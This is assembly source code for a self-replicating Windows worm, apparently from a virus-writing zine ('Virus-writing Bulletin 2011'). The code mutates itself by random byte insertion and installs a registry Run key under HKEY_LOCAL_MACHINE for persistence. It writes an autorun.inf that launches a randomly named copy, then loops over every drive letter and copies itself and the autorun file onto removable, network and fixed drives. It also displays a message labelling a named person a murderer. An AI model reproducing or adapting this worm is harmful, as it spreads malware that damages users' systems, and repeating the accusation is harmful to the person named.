    	db _nopdA		    ; RegA=random number
    	db _zer0
    	db _nopdD		    ; RegD=0

    	GetAddress Insertx
    	db _saveWrtOff

    	db _pop
    	db _save		    ; BC2=relative InsertA

    	GetAddress FileSize
    	db _getdata
    	db _subsaved		    ; BC1=(FileSize-A)

    	db _div 		    ; rand()/(FileSize-A)

    	db _nopsD		    ; BC1=rand() % (FileSize-A)
    	db _add0001		    ; (for loop)
    	db _writeDWord		    ; Save to Insertx

    	CalcNewRandNumberAndSaveIt  ; New random number for getting Insertx
    	db _nopdA

    	db _zer0
    	db _nopdD		    ; RegD=0

    	addnumber 32
    	db _div

    	GetAddress Inserty
    	db _saveWrtOff

    	db _nopsD		    ; BC1=rand() % 32
    	db _add0001
    	db _writeDWord		    ; y to Inserty
    	db _save		    ; save y

    	GetAddress InsertA
    	db _getdata
    	db _nopdA		    ; RegA=A

    	db _addsaved		    ; BC1=A+y
    	db _nopdB		    ; RegB=A+y

    	CalcNewRandNumberAndSaveIt

    	db _zer0
    	addnumber 3
    	db _save
    	GetAddress RandomNumber

    	db _getdata
    	db _nopdA
    	db _zer0
    	db _nopdD

    	addnumber InsertThreshold1

    	db _div
    	db _nopsD
    	db _subsaved

    	db _push		; Save Result

    ;        InsertA = A
    ;        Insertx = x
    ;        InsertWrt = A+y
    ;        RegB=A+y

    ;Insert next byte:
    	db _getEIP
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _saveJmpOff	    ; mov BA2, EPI

    	GetAddress InsertA
    	db _saveWrtOff
    	db _getdata
    	db _sub0001		   ; A--
    	db _writeDWord

    	db _getdata		    ; BC1=dword[A]
    	db _nopdA

    	db _nopsB		    ; BC1=A+y
    	db _saveWrtOff		    ; Write Offset=A+y
    	db _sub0001		    ; BC1--
    	db _nopdB		    ; save WriteOffset again

    	db _pop 		    ; If BC1=0: mutate
    	db _push
    	db _add0001
    	db _sub0001		     ; Get the zer0 flag
    	db _JnzDown

    	db _nopsA
    	db _nopREAL
    	db _nopREAL
    	db _writeByte		    ; byte[A+y]=byte[A]

    	GetAddress Insertx
    	db _saveWrtOff
    	db _getdata
    	db _sub0001
    	db _writeDWord		    ; Save new counter

    	db _JnzUp
    ;End insert next byte

    ;Fill with NOPs:
    	db _getEIP
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _saveJmpOff	    ; mov BA2, EPI

    	db _nopsB		    ; BC1=A-x+y
    	db _saveWrtOff		    ; Write Offset=A-x+y
    	db _sub0001		    ; BC1--
    	db _nopdB		    ; save WriteOffset again

    	db _zer0
    	addnumber _nopREAL
    	db _nopdA

    	db _pop
    	db _push
    	db _add0001
    	db _sub0001		     ; Get the zer0 flag
    	db _JnzDown

    	db _nopsA
    	db _nopREAL
    	db _nopREAL
    	db _writeByte		    ; byte[A-x+y]=nopREAL

    	GetAddress Inserty
    	db _saveWrtOff
    	db _getdata
    	db _sub0001
    	db _writeDWord		    ; Save new counter

    	db _JnzUp
    ;End Fill with NOPs

    	db _pop     ; Trash

    ; ##### End of Insertion
    ; ############################################################################

    	GetAddress stSubKey
    	db _saveWrtOff
    	db _nopdA

    	addnumber 'Kady'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff

    	addnumber 'rov '
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff

    	addnumber 'is a'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff

    	addnumber ' mur'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff

    	addnumber 'dere'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff

    	addnumber 'r!!!'
    	db _writeDWord

    	GetAddress stSubKey
    	db _nopdB

    	CalcNewRandNumberAndSaveIt
    	db _nopdA
    	db _zer0
    	addnumber 7
    	db _save
    	db _nopsA
    	db _and
    	db _JnzDown

    	db _push	 ; 0x0
    	db _nopsB
    	db _push	 ; stSubKey
    	db _push	 ; stSubKey

    	db _nopsA
    	db _and
    	db _JnzDown

    	db _zer0
    	db _push
    	db _MsgC	; Thats it!
    	db _nopREAL

    ; #####
    ; #####
    ; ############################################################################
    ; ############################################################################

    	GetAddress MapPointer
    	db _getdata
    	db _push
    	CallAPI hUnmapViewOfFile	; call UnmapViewOfFile, dword[MapPointer]

    	GetAddress MapHandle
    	db _getdata
    	db _push
    	CallAPI hCloseHandle		; call CloseHandle, dword[MapHandle]

    	GetAddress FileHandle
    	db _getdata
    	db _push
    	CallAPI hCloseHandle		; call CloseHandle, dword[FileHandle]

    	db _zer0
    	addnumber 15
    	db _save
    	GetAddress RandomNumber
    	db _getdata
    	db _and
    	db _push
    	db _CallAPISleep	    ; call Sleep, (dword[RandomNumber] & 1111b)

    	GetAddress AutoStartContentStart
    	db _saveWrtOff
    	db _nopdA

    ; ############################################################################
    ; ##### Create Registry Key

    	GetAddress stSubKey			; Create the key in the data section
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'SOFT'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'WARE'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber '\Mic'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'roso'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'ft\W'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'indo'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'ws\C'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'urre'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'ntVe'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'rsio'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'n\Ru'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _saveWrtOff
    	db _zer0
    	addnumber 'n'
    	db _writeDWord

    	GetAddress hRegKey
    	db _push
    	GetAddress stSubKey
    	db _push
    	db _zer0
    	addnumber HKEY_LOCAL_MACHINE
    	db _push
    	CallAPI hRegCreateKey

    	db _zer0
    	addnumber 15
    	db _push		; 15
    	GetAddress Driveletter3
    	db _push		; C:\evorisss.exe
    	db _zer0
    	addnumber REG_SZ
    	db _push		; REG_SZ
    	db _zer0
    	db _push		; 0x0
    	db _push		; 0x0
    	GetAddress hRegKey
    	db _getdata
    	db _push		; dword[hRegKey]
    	CallAPI hRegSetValueEx

    ; ##### End Create Registry Key
    ; ############################################################################

    ; ############################################################################
    ; ##### Create Autostart file

    	GetAddress AutoStartContentStart
    	db _nopdA
    	db _saveWrtOff
    	addnumber '[Aut'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'orun'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 0x530A0D5D	; ']', 0x0D, 0x0A, 'S'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'hell'    ; huh - nice ;)
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'Exec'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'ute='
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	GetAddress RandomFileName
    	db _nopdB
    	db _getdata
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	db _nopsB
    	addnumber 4
    	db _getdata
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber '.exe'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 0x73550A0D
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'eAut'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'opla'
    	db _writeDWord

    	db _nopsA
    	addnumber 3
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'ay=1'
    	db _writeDWord

    	GetAddress autoruninf
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'auto'
    	db _writeDWord

    	db _nopsA
    	addnumber 4
    	db _nopdA
    	db _saveWrtOff
    	addnumber 'run.'
    	db _writeDWord

    	db _nopsA
    	addnumber 3
    	db _saveWrtOff
    	addnumber '.inf'
    	db _writeDWord

    	db _zer0
    	db _push		; 0x0
    	addnumber 2
    	db _push		; 0x2
    	db _zer0
    	addnumber CREATE_ALWAYS
    	db _push		; CREATE_ALWAYS
    	db _zer0
    	db _push		; 0x0
    	db _push		; 0x0
    	addnumber 0xC0000000
    	db _push		; 0xC0000000
    	GetAddress autoruninf
    	db _push		; autoruninf
    	CallAPI hCreateFileA

    	GetAddress FileHandle
    	db _saveWrtOff
    	db _nopsA
    	db _writeDWord		 ; dword[FileHandle]=eax

    	db _zer0
    	db _push		 ; 0x0
    	GetAddress MapHandle
    	db _push		 ; Trash-Address
    	db _zer0
    	addnumber (AutoStartContentEnd-AutoStartContentStart)
    	db _push		 ; Size of Buffer
    	GetAddress AutoStartContentStart
    	db _push		 ; Buffer to write
    	GetAddress FileHandle
    	db _getdata
    	db _push		 ; FileHandle
    	CallAPI hWriteFile

    	GetAddress FileHandle
    	db _getdata
    	db _push
    	CallAPI hCloseHandle

    ; ##### Create Autostart file
    ; ############################################################################

    ; ############################################################################
    ; ############################################################################
    ; ############################################################################
    ; #####
    ; ##### Main Loop (Searchs for Drives, and copies itself)
    ; #####

    	db _getEIP
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _saveJmpOff			; Loop over Drive Letter A-Z

    	db _pushall

    		db _zer0
    		db _nopdB			; RegB=0

    		GetAddress Driveletter1-1
    		db _saveWrtOff
    		db _zer0
    		addnumber 0x003A4100		 ; 0x0, "A:", 0x0
    		db _writeDWord

    		GetAddress Driveletter2-1
    		db _saveWrtOff
    		db _zer0
    		addnumber 0x5C3A4100		 ; 0x0, "A:\"
    		db _writeDWord

    		db _zer0
    		addnumber 26
    		db _nopdA			; counter

    		db _getEIP
    		db _sub0001
    		db _sub0001
    		db _sub0001
    		db _sub0001
    		db _sub0001
    		db _saveJmpOff			; Loop over Drive Letter A-Z

    		db _pushall

    			GetAddress Driveletter1+2
    			db _saveWrtOff
    			db _zer0
    			db _writeByte

    			GetAddress Driveletter1
    			db _push
    			CallAPI hGetDriveType

    			db _nopsA
    			db _save	; save Drive type

    			db _zer0
    			addnumber 2	; BC1=2
    			db _subsaved
    			db _JnzDown	; Is DRIVE_REMOVABLE?

    			db _zer0
    			db _add0010	; RegB=0x0010 -> FILE+AUTOSTART
    			db _nopdB
    			db _nopREAL

    			db _zer0
    			addnumber 3	; BC1=3
    			db _subsaved
    			db _JnzDown	; Is DRIVE_FIXED?

    			db _zer0
    			db _add0040	; RegB=0x0040 -> FILE
    			db _nopdB
    			db _nopREAL

    			db _zer0
    			addnumber 4	; BC1=4
    			db _subsaved
    			db _JnzDown	; Is DRIVE_REMOTE?

    			db _zer0
    			db _add0010	; RegB=0x0010 -> FILE+AUTOSTART
    			db _nopdB
    			db _nopREAL

    			db _zer0
    			addnumber 6	; BC1=6
    			db _subsaved
    			db _JnzDown	; Is DRIVE_RAMDISK?

    			db _zer0
    			db _add0010	; RegB=0x0010 -> FILE+AUTOSTART
    			db _nopdB
    			db _nopREAL

    		; ############################################################################
    		; ##### Copy autorun.inf (or not)

    			GetAddress autoruninf
    			db _nopdA		; address to "autorun.inf" to RegA
    			GetAddress Driveletter2
    			db _nopdD		; address to "?:\autorun.inf" to RegD

    			db _nopsB
    			db _save

    			db _zer0
    			db _add0010	   ; (FILE+AUTOSTART)
    			db _subsaved
    			db _JnzDown

    			db _zer0
    			db _push		; bFailIfExists=FALSE
    			db _nopsD
    			db _push		; lpNewFileName="?:\autorun.inf"

    			GetAddress hCopyFileA
    			db _nopdD

    			db _zer0
    			db _add0010	   ; (FILE+AUTOSTART)
    			db _subsaved
    			db _JnzDown

    			db _nopsA
    			db _push		; lpExistingFileName="autorun.inf"
    			db _nopsD
    			db _call		; stdcall dword[hCopyFileA]

    			db _nopsB
    			db _save		; restore BC2 (=RegB)

    			db _zer0
    			db _add0010	   ; (FILE+AUTOSTART)
    			db _subsaved
    			db _JnzDown

    			db _zer0
    			db _add0040
    			db _nopdB
    			db _save	     ; also copy child executable

    		; ##### End Copy autorun.inf (or not)
    		; ############################################################################

    		; ############################################################################
    		; ##### Copy child executable (or not)

    			GetAddress Driveletter1+2
    			db _saveWrtOff
    			db _zer0
    			addnumber 0x5C		   ;'\'
    			db _writeByte

    			GetAddress RandomFileName
    			db _nopdA		; address to "NNNNNNNN.exe" to RegA
    			GetAddress Driveletter1
    			db _nopdD		; address to "?:\NNNNNNNN.exe" to RegD

    			db _nopsB
    			db _save

    			db _zer0
    			addnumber 0x0040	; (FILE+AUTOSTART)
    			db _subsaved
    			db _JnzDown

    			db _zer0
    			db _push		; bFailIfExists=FALSE
    			db _nopsD
    			db _push		; lpNewFileName="?:\NNNNNNNN.exe"

    			GetAddress hCopyFileA
    			db _nopdD

    			db _zer0
    			addnumber 0x0040	; (FILE+AUTOSTART)
    			db _subsaved
    			db _JnzDown

    			db _nopsA
    			db _push		; lpExistingFileName="NNNNNNNN.exe"
    			db _nopsD
    			db _call		; stdcall dword[hCopyFileA]

    		; ##### End Copy child executable (or not)
    		; ############################################################################

    		db _popall

    		GetAddress Driveletter1
    		db _saveWrtOff
    		db _getdata
    		db _add0001
    		db _writeByte

    		GetAddress Driveletter2
    		db _saveWrtOff
    		db _getdata
    		db _add0001
    		db _writeByte

    		db _nopsA
    		db _sub0001
    		db _nopdA

    		db _JnzUp

    	db _popall

    	db _zer0
    	addnumber 0x6666
    	db _push
    	db _CallAPISleep

    	db _zer0
    	db _add0400
    	db _JnzUp

    ; ############################################################################

    	times 2332 db _nopREAL

    EndAminoAcids1:

    ; ##################################################################

    EndAmino:
    .end start

Virus-writing Bulletin 2011